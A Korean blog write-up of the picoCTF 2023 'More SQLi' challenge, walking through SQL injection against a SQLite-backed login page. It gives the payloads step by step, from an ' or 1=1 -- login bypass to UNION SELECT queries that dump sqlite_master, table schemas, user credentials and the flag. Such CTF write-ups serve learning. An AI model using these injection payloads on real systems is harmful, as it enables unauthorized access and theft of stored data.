김승현
[picoCTF] picoCTF 2023 - More SQLi 본문
2023-03-29
대회 종료 후 비공개에서 공개로 돌렸습니다.
web exploitation 문제 중 그나마 쉬운 문제인 More SQLI이다... FLAG를 website에서 찾아보라고 하고 hints로는
sqli lite라는 dbms가 사용됐다고 한다. 사이트에 접속해보자.
접속하면 이렇게 security challenge / please log in 이렇게 적혀있고 username과 password를
입력하는 칸이 있다.
일단 username : uname / password : passwd로 로그인 해보자.
로그인을ㄷ 하면 이렇게 SQL query가 나와 있다. 대부분은 username이 먼저 오는 편인데 얘는 password가 앞에 있다.
한번 sqlite 기준으로 sql inejction을 시도해보자.
username엔 아무거나 입력하고 password에 ' or username = 'admin' --를 입력해보자.
그랬더니 딱히 바뀐 게 없다... 혹시나 해서 username 대신 id를 입력해봤다.
그랬더니 이렇게 새로운 느낌의 창이 떴다. 이렇게 푸는 건가 싶어서 계속 저 로그인 창에 시도 해봤는데 아니었다.
이번에는 그냥 가볍게 password에 ' or 1=1 --를 입력해보자.
그랬더니 이렇게 쉽게 welcome.php로 이동됐다! 일단 sqlite의 버전을 확인하는 쿼리문을 입력해보자.
'union select all 1, 2, sqlite_version() --
버전을 확인하기 위해 위와 같이 입력해봤다. union을 이용해서 출력하도록 만들었다.
이렇게 sqlite 3.31.1 버전을 사용하는 것을 알 수 있다.
table들의 이름을 한번 확인해보자.
' union select all 1, tbl_name, 3 from sqlite_master --
위의 union을 이용해서 table_name을 확인하자.
이렇게 hints, more_table, offices, users 테이블 총 네 개가 있다.
hint부터 확인해보자.
<hints>
' union select all 1, sql, 3 from sqlite_master where tbl_name='hints' --
sql을 이용해서 hints테이블의 형식을 확인해보자.
이렇게 id와 info가 있다는 것 같다.
' union select 1, id, info from hints --
위의 코드를 통해 hints 테이블의 id와 info 컬럼을 볼 수 있다.
내용은 이런 내용이고 딱히 힌트라고 하기엔 별 게 없다.
지금까지 한 일들을 모든 테이블에 대해 반복해보자.
<offices>
' union select all 1, sql, 3 from sqlite_master where tbl_name='offices' --
이렇게 id, city, address, phone이 있는데 이건 우리가 접속하면서 보던 그 table인 것 같다.
' union select city, address, phone from offices --
이렇게 입력해보자.
역시나 미리 본 것과 같다.
<users>
' union select all 1, sql, 3 from sqlite_master where tbl_name='users' --
name, password, id가 있다 모두 확인해보자.
' union select name, password, id from users --
id는 admin이고 password는 moreRandOMN3ss인 것을 볼 수 있다.
일단 more_table 테이블을 확인해보고 로그인 해보자.
<more_table>
' union select all 1, sql, 3 from sqlite_master where tbl_name='more_table' --
id와 flag 컬럼이 있는 걸 볼 수 있다. 확인해보자.
' union select id, flag, 3 from more_table --
엇 바로 flag가 나와버렸다. 근데 궁금하니까 admin으로 로그인해보자.
로그인이 안 되게 만들었다... 어떻게 되는지 궁금했는데 좀 아쉽다...ㅜ
'CTF > picoCTF' 카테고리의 다른 글
[picoCTF] picoCTF 2023 - MatchTheRegex (0) | 2023.03.27 |
---|---|
[picoCTF] picoCTF 2023 - findme (0) | 2023.03.27 |